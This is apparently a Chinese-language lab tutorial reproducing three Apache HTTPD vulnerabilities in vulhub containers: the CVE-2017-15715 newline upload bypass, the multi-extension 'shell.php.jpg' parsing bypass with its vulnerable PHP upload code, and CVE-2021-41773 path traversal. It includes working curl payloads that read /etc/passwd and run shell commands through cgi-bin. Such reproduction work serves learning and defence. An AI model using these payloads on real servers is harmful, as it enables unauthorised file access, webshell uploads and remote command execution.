Apache漏洞复现
Apache HTTPD是一款HTTP服务器,该服务器是现在市场上使用最多的服务器,今天对该中间件做一些漏洞复现
Apache 换行解析漏洞(CVE-2017-15715)
Apache通过mod_php来运行PHP网页
- 影响范围: 2.4.0~2.4.29
- 漏洞描述: 存在解析漏洞,在解析
.php时,会将1.php\x0A当做PHP文件执行,从而绕过一些安全策略
漏洞在vulhub中,我使用kali启动

启动后再kali主机的8080端口运行

-
上传普通的
php文件

上传失败

-
再次上传在
burpsuite更改shell.php后方加入\x0A,然后上传
注意:在hex页面中,找到php后面一位加入\x0A

放包后页面没有任何回显,代表上传成功

-
访问并验证
shell.php是否上传成功,注意需要再文件名后方加入%0a,因为十六进制\x0a在url编码中需要使用%开头

实验完毕。
Apache 未知后缀名解析漏洞
Apache HTTPD支持文件名有多个后缀,例如shell.php.jpg,解析流程如下:
- 解析
shell.php.jpg文件,如果支持jpg文件名后缀则解析该文件,不可以往前看前一个后缀名 - 若
shel.php.jpg后缀名无法解析,尝试将文件解析前一个后缀名shell.php文件
通过安装服务器的/conf/httpd.conf配置文件中都会含有解析php文件
AddHandler application/x-httpd-php .php
那么利用这个特性可以理解为只要文件名中包含php就可以将文件解析为PHP文件执行,这可以造成白名单的绕过,例如shell.php.xxx
一般服务器肯定不会设置有xxx后缀名的解析,所以理所应当的把shell.php.xxx当做PHP文件执行
- 启动
vulhub环境
cd /vulhub/httpd/apache_parsing_vulnerability
sudo docker-compose up -d

访问80端口查看

进入容器查看审计源码

<?php
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}
$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
die('Error uploading file - check destination is writeable.');
}
die('File uploaded successfully: ' . $new_name);
else:
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<?php
endif;
通过pathinfo()方法获取文件上传路径,然后使用in_array判断是否文件名是否含有['gif', 'png', 'jpg', 'jpeg'],含有下方的后缀名就可以将文件上传
一般情况下Apache服务器都不会配置解析jpg图片,所以接着解析php后缀名
上传shell.php.jpg


访问

成功解析
注: 如果在自己搭建的phpstudy手动搭建环境访问该文件会遇到服务器500的错误,是因为Apache虽然解析shell.php.jpg文件是把php后缀当做PHP文件执行,然后交给PHP,但是PHP只认为最后一个后缀名为php才会当做PHP文件执行
通常php{version}.conf配置文件中会有以下配置
<FilesMatch ".+\.ph(ar|p|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
通过正则匹配只有是phar、php、phtml才可以被解析为php,这里还是建议使用vulhub复现漏洞
Apache 目录遍历漏洞
- 影响版本: 2.4.49-50
- 漏洞原理: 攻击者可以通过目录遍历漏洞访问预期之外的文件和目录
- 使用
vulhub环境启动实验场景
cd /vulhub/httpd/CVE-2021-41773
sudo docker-compose up -d
验证靶机是否正常运行


- 漏洞验证
curl -v --path-as-is http://192.168.154.138:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

--path-as-is- 如果不使用
--path-as-is,访问地址test.com/../../etc/passwd,curl请求的对象是test.com/etc/passwd - 如果使用
--path-as-is,访问test.com/../../etc/passwd,curl请求的对象是test.com/../../etc/passwd
- 如果不使用
-v:表示像是请求标头和响应标头%2e表示url编码,字符为.
另外如果apache平台开启了cgi,可以进行命令执行
cgi就是可以让apache解析其他语言的命令
curl -v --data "echo;id" 'http://192.168.154.138:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
-
--data:表示使用POST方式提交数据,也可以使用缩写-d -
echo;id: shell编程,表示echo命令输出id的回显

-
/bin/sh: 通过目录遍历请求/bin/sh
结合起来可以理解为apache开启了cgi,通过目录遍历调用/bin/sh解释shell脚本,脚本内容为echo;id,执行完脚本将内容返回给http页面

如果这里靶机安装的有python,也可以执行python代码
只需要在httpd.conf加入以下内容
AddHandler cgi-script .py

浙公网安备 33010602011771号